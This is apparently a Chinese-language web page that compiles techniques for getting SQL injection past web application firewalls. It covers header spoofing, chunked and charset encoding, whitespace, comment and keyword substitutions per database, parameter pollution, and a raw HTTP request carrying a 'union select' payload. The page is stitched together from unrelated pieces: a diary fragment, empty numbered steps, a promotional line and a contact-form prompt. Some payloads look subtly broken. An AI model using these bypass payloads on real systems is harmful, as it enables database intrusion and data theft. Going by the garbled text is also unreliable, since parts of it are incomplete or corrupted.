QL注入是一種安全漏洞,攻擊者利用它來通過操縱應用程序的數據庫查詢來執行惡意的SQL命令。下面是一些SQL注入的基本概念、技巧和類型概覽,但請注意,這些知識應用于教育和防御目的,不應用于非法活動。
了解這些是為了更好地保護系統免受SQL注入攻擊,強調安全編程和防御措施的重要性。
睡了一下午,醒的時候發現,屋子里黑漆漆的,一點聲音都沒有,抬頭望了望窗戶,天還沒完全黑,四處摸摸,在枕頭下找到手機,打開屏幕,干凈,沒有一條信息。。。
一、目錄掃描繞過WAF
1、dirbuster掃描,默認的UA為:DirBuster-0.12 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
2、安全狗會攔截訪問請求
3、將UA修改為百度爬蟲的UA: Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html),將不再鏈接請求
二、手工注入繞過WAF
1、檢測是否存在注入
2、修改檢測語句
3、判斷列數
4、聯合查詢:
5、獲取數據庫:
三、通過修改提交方式繞過
1、安全狗攔截GET提交方式
2、修改為post提交,成功繞過
禁止非法,后果自負
歡迎關注公眾號:web安全工具庫
WAF(針對云WAF)
尋找真實IP(源站)繞過
如果流量都沒有經過WAF,WAF當然無法攔截攻擊請求。當前多數云WAF架構,例如百度云加速、阿里云盾等,通過更改DNS解析,把流量引入WAF集群,流量經過檢測后轉發請求到源站。如圖,dict.com接入接入WAF后,dict.com的DNS解析結果指向WAF集群,用戶的請求將發送給WAF集群,WAF集群經過檢測認為非攻擊請求再轉發給源站。
image-20211101163158685
繞過云WAF尋找真實IP與繞過CDN尋找真實IP的方法類似,可以查看這篇文章:
https://plumeria.ltd/post/efd52af7.html#CDN%E7%9A%84%E7%BB%95%E8%BF%87
利用同網段繞過
一些在云服務商的站點,同時使用云服務商提供的WAF服務。當流量不是通過DNS解析引流到WAF,流量必須經過WAF的檢測,這是不能通過發行源站進行繞過。可以考慮在云服務商買一臺VPS,通過VPS攻擊目標站點,因為流量是局域網,可能不經過WAF檢測,實現繞過。能不能成功,關鍵在于云服務商的網絡配置。
利用邊界漏洞繞過
如果未能發現源站IP,可以嘗試尋找子站的SSRF漏洞。如果子站訪問目標站不經過WAF集群,可以利用SSRF漏洞來繞過WAF。
資源限制角度繞過WAF
超大數據包繞過
這是眾所周知、而又難以解決的問題。如果HTTP請求POST BODY太大,檢測所有的內容,WAF集群消耗太大的CPU、內存資源。因此許多WAF只檢測前面的幾K字節、1M、或2M。對于攻擊者而然,只需要在POST BODY前面添加許多無用數據,把攻擊payload放在最后即可繞過WAF檢測。
協議層面繞過WAF
即使流量都確保經過WAF,如果WAF的防御策略根本就沒有檢測payload,那么也就能繞過WAF。協議層面繞過WAF,利用WAF解析協議的問題,使得payload被認為不是請求的HTTP請求的內容。
協議未覆蓋繞過
在 http 頭里的 Content-Type 提交表單支持四種協議:
?application/x-www-form-urlencoded -編碼模式?multipart/form-data -文件上傳模式?text/plain -文本模式?application/json -json模式
文件頭的屬性是傳輸前對提交的數據進行編碼發送到服務器。其中 multipart/form-data 表示該數據被編碼為一條消息,頁上的每個控件對應消息中的一個部分。所以,當 waf 沒有規則匹配該協議傳輸的數據時可被繞過。
pipeline繞過
http協議是由tcp協議封裝而來,當瀏覽器發起一個http請求時,瀏覽器先和服務器建立起連接tcp連接,然后發送http數據包(即我們用burpsuite截獲的數據),其中包含了一個Connection字段,一般值為close,apache等容器根據這個字段決定是保持該tcp連接或是斷開。當發送的內容太大,超過一個http包容量,需要分多次發送時,值會變成keep-alive,即本次發起的http請求所建立的tcp連接不斷開,直到所發送內容結束Connection為close為止。
img
發送兩個請求,但繞過失敗,被云鎖攔截,此種方法現在基本失效。
img
分塊傳輸繞過
分塊傳輸編碼(Chunked transfer encoding)是只在HTTP協議1.1版本(HTTP/1.1)中提供的一種數據傳送機制。以往HTTP的應答中數據是整個一起發送的,并在應答頭里Content-Length字段標識了數據的長度,以便客戶端知道應答消息的結束。
分塊編碼具體方法
在頭部加入Transfer-Encoding:chunked之后,就代表這個報文采用了分塊編碼。這時,報文中的實體需要改為用一系列分塊來傳輸。
每個分塊包含十六進制的長度值和數據,長度值獨占一行,長度不包括它結尾的CRLF(\r\n),也不包括分塊數據結尾的CRLF。
最后一個分塊長度值必須為0,對應的分塊數據沒有內容,表示實體結束。
例:
Content-Type: text/plain
Transfer-Encoding: chunked
23\r\n
This is the data in the first chunk\r\n
1A\r\n
and this is the second one\r\n
3\r\n
con\r\n
8\r\n
sequence\r\n
0\r\n
\r\n
也可以使用github上的插件實現分塊傳輸
chunked-coding-converter:https://github.com/c0ny1/chunked-coding-converter
img
另類字符集編碼繞過
Content-Type頭中使用charset定義字符集的應用場景不只有在responses中,request中同樣可以使用。
常見的服務器與可見編碼如下所示:
服務器信息可用編碼說明Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273對參數名和參數值進行編碼,服務器會對參數名和參數值均進行url解碼,需要對等號和& and進行編碼(不進行url編碼)Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424對參數名和參數值進行便慢慢 服務器會對參數名和參數值均進行url解碼 等號和&符號不應該以任何方式編碼。Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025參數名按原始格式(可以像往常一樣使用url編碼)Body不論是否經過url編碼均可等號和&符號不應該以任何方式編碼Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025參數名按原始格式(可以像往常一樣使用url編碼) Body 不論是否經過url編碼均可 等號和&符號不應該以任何方式編碼IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025參數名按原始格式(可以像往常一樣使用url編碼) Body 不論是否經過url編碼均可 等號和&符號不應該以任何方式編碼
規則缺陷/特性角度繞過WAF
空白符替換繞過
MySQL特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
?位置①?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0?可以利用注釋符號替換空格:/**/、%23est%0d%0a、 --+a%0d%0a?可以利用數學運算以及數據類型:news_id=1.0,news_id=1E0,news_id=\N?位置②?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a?可以利用括號:union(select 1,2)?位置③?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a?可以利用其它符號:+ 、- 、 ~ 、!、@?位置④?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a?大括號{}:union select {``1},{x 2}?可利用數學運算以及數據類型:
union select usename,2.0from admin union select username,8e0from admin union select username,\Nfrom admin
?位置⑤?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a?反引號`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23?內聯注釋:union select 1,table_name,3 from /*!50001information_schema.tables*/ limit 0,1%23?大括號{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23?小括號():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23
SQLServer特性
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
- 位置①
- 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
- 可以利用注釋符號:/**/、--+a%0d%0a
- 可利用數學運算符以及數據類型:news_id=1.0,news_id=1e0,news_id=1-1
- 位置②
- 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
- 可以利用注釋符號:/**/、--+a%0d%0a
- 可以利用加號+替換空格:union+select
- 位置③
- 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
- 可以利用注釋符號:/**/、--+a%0d%0a
- 可利用數學運算符:+、-、~、. (注:其中-、~、.號必須是select查詢的第一個字段的數據類型為數字型才能使用)
- 可以利用小括號()替換空格:select(1),2,db_name()
- 位置④
- 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
- 可以利用注釋符號:/**/、--+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服務器支持)
- 位置⑤
- 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
- 可以利用注釋符號:/**/、--+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服務器支持)
- 可以利用點號.替換空格:from.users
- 可以利用中括號[]替換空格:from[users]
Access特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
?位置①?可利用其他控制字符替換空格:%09、%0a、%0c、%0d、%16?位置②?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?位置③?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?可使用其他字符:+、-、.、=
Oracle特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
?位置①?可利用其他控制字符替換空格:%00、%09、%0a、%0b、%0c、%0d?可以利用其它控制字符替換空格:%1f、%1d?可使用其他字符:.?位置②?可利用其他控制字符替換空格:%00、%09、%0a、%0b、%0c、%0d?位置③?可利用其他控制字符替換空格:%00、%09、%0a、%0b、%0c、%0d?可使用其他字符:-、+、%ad?位置④?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?位置⑤?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?可插入字符:%30%ff、%24、%7b%22%7b%76
PostgreSQL特性
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
?位置①?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?可使用其他字符:.、!?位置②?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?位置③?可利用其他控制字符替換空格:%09、%0a、%0c、 %0d?可使用其他字符:.、~、@、-、+?位置④?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?位置⑤?可利用其他控制字符替換空格:%09、%0a、%0c、%0d?可插入字符:%30~%ff、%24
函數分隔符繞過
對基于正則表達式的WAF,我們猜測安全工程師寫WAF規則時,可能不知道函數名與左括號之間可以存在特殊字符,或者遺漏可以存在特殊字符。例如匹配函數”concat()”的規則寫法,“concat(”或者”concat\s*(”,就沒有考慮到一些特殊字符。相應的繞過方法,在特殊位置引入特殊的分隔符,逐個測試。這些特殊分隔符發現也是通過Fuzz出來的。
等價關鍵字繞過
有些函數或命令因其關鍵字被檢測出來而無法使用但是在很多情況下可以使用與之等價或類似的代碼替代其使用。
以下舉例了mysql中的等價關鍵字:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
updatexml、extractvalue() ==> polygon()
@@user ==> user()
@@datadir ==> datadir()
and ==> &&
or ==> ||
not ==> !
xor ==> |
= ==> like
!= ==> <>
limit 0,1 ==> limit 1 offset 0
union select ==> union select * from (select 1)a join (select 2)b
’‘ ==> ""
'admin' ==> 0x61646D696E
select * from users where id = 1 order 4 ==> select * from users where id = 1 into @a,@b,@c,@d
添加庫名繞過
以下兩條查詢語句,執行的結果是一致的,但是有些 waf 的攔截規則 并不會攔 截[庫名].[表名]這種模式。
ALL 或者 DISTINCT 繞過
去掉重復值
select 1,2 from users where user_id=1 union DISTINCT select 1,2
select 1,2 from users where user_id=1 union select DISTINCT 1,2
顯示全部
select 1,2 from users where user_id=1 union all
select 1,2 select 1,2 from users where user_id=1 union select all 1,
大小寫繞過
常用于 waf的正則對大小寫不敏感的情況,一般都是題目自己故意這樣設計。
select * from users where id=1 UNION SELECT 1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3,4
雙關鍵字繞過
在某一些簡單的waf中,將關鍵字select等只使用replace()函數置換為空,這時候可以使用雙寫關鍵字繞過。例如select變成seleselectct,在經過waf的處理之后又變成select,達到繞過的要求。
雙重/多重URL編碼繞過
雙重url編碼,即對于瀏覽器發送的數據進行了兩次urlencode操作,如s做一次url編碼是%73,再進行一次編碼是%25%37%33。一般情況下數據經過WAF設備的時候只會做一次url解碼,這樣解碼之后的數據一般不會匹配到規則,達到了bypass的效果。
Unicode編碼繞過
IIS服務器支持對于unicode的解析,例如我們對于select中的字符進行unicode編碼,可以得到如下的s%u006c%u0006ect,這種字符在IIS接收到之后會被轉換為select,但是對于WAF層,可能接收到的內容還是s%u006c%u0006ect,這樣就會形成bypass的可能。
字符Unicode編碼a%u0000 %u0041 %u0061 %u00aa %u00e2單引號%u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7空白%u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0左括號(%u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8右括號)%u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9
Emoji表情字符繞過
emoji是一串unicode字集組成,一個emoji圖標可以占2、4、7個字節。且mysql支持emoji存儲。
部分Emoji可以插入到%23與%0A之間實現繞過。
json提交與xml提交繞過
有些程序是 json 提交參數,程序也是 json 接收再拼接到 SQL 執行 json 格式通 常不會被攔截。所以可以繞過 waf。
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
{'id':1 union select 1,2,3,'submit':1}
image-20211101231132608
同樣 text/xml 也不會被攔截
特殊的百分號
在ASP/ASPX+IIS的環境中存在一個特性,就是特殊符號%,在該環境下當們我輸入s%elect的時候,在WAF層可能解析出來的結果就是s%elect,但是在iis+asp的環境的時候,解析出來的結果為select。
HTTP參數污染
HPP是HTTP Parameter Pollution的縮寫,意為HTTP參數污染。
在ASPX中,有一個比較特殊的HPP特性,當GET/POST/COOKIE同時提交的參數id,服務端接收參數id的順序GET,POST,COOKIE,中間通過逗號鏈接,于是就有了這個idea。
UNION、SELECT、FROM 三個關鍵字分別放在GET/POST/COOKIE的位置,通過ASPX的這個特性連起來,堪稱完美的一個姿勢,壓根不好防。
但姿勢利用太過于局限:使用Request.Params["id"]來獲取參數,G-P-C獲取到參數拼接起來,僅僅作為Bypass分享一種思路而已。
下表中列舉了一些主流環境下的HPP情況:
image-20211101212812215
GET方法傳輸POST數據繞過
大家的常識是GET參數通過URL傳遞,POST放在Request body中。
但是在某些中間件(如IIS)中的GET請求同樣可以傳輸POST數據。
畸形method繞過
某些WAF在處理數據的時候嚴格按照GET、POST等標準HTTP方法來獲取數據,或者采用正則匹配的方式來處理數據,可能因為WAF和WEB服務解析的前后不對等繞過WAF。
存在環境:Apache 2.X
某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容。
image-20211101212939505
畸形的boundary繞過
PHP在解析multipart data的時候有自己的特性,對于boundary的識別,只取了逗號前面的內容,例如我們設置的boundary為----aaaa,123456,php解析的時候只識別了----aaaa,后面的內容均沒有識別。然而WAF在做解析的時候,有可能獲取的是整個字符串,此時可能就會出現繞過。
存在環境:PHP
參數數量限制繞過
WAF在實際環境中為防止拒絕服務式攻擊 (denial of service attacks),默認最多解析前 100 個請求參數 (包括同名的),更多的參數將直接忽略。
存在環境:Nginx+Lua WAF
image-20211101215241527
變換請求方式繞過
假如php里使用$_REQUEST獲取參數,那么php獲取參數的默認優先級是:
$_COOKIE > $_POST > $_GET。此時WAF層只過濾get/post,但沒有過濾cookie,于是導致了繞過。
存在環境:PHP
信任白名單繞過
有些 WAF 會自帶一些文件白名單,對于白名單 waf 不會攔截任何操作,所以可 以利用這個特點,可以試試白名單繞過。
白名單通常有目錄:
/admin
/phpmyadmin
/admin.php
image-20211101220538726
靜態文件繞過
除了白名單信任文件和目錄外,還有一部分 waf 并不會對靜態文件進行攔截。例如 圖片文件 jpg 、png 、gif 或者 css 、js 會對這些靜態文件的操作不會 進行檢測從而繞過 waf 攔截。
/1.jpg&name=vince+&submit=1
/1.jpg=/1.jpg&name=vince+&submit=1
/1.css=/1.css&name=vince+&submit=1
image-20211101230701225
PostgreSQL字符串特性繞過
由于 postgres 會將雙引號中的內容認為是一個表名/字段名,同時在雙引號引起的字符串中使用 U& 前綴轉義是合法的,所以當過濾了 information_schema 等關鍵名稱時,可以將其用雙引號引用并在其前面 加入 U&轉義前綴,同時將其中某個字符替換為對應的 Unicode 表現形式來繞過 WAF。
例如:以下語句同樣會返回所有的 Schema
*請認真填寫需求信息,我們會在24小時內與您取得聯系。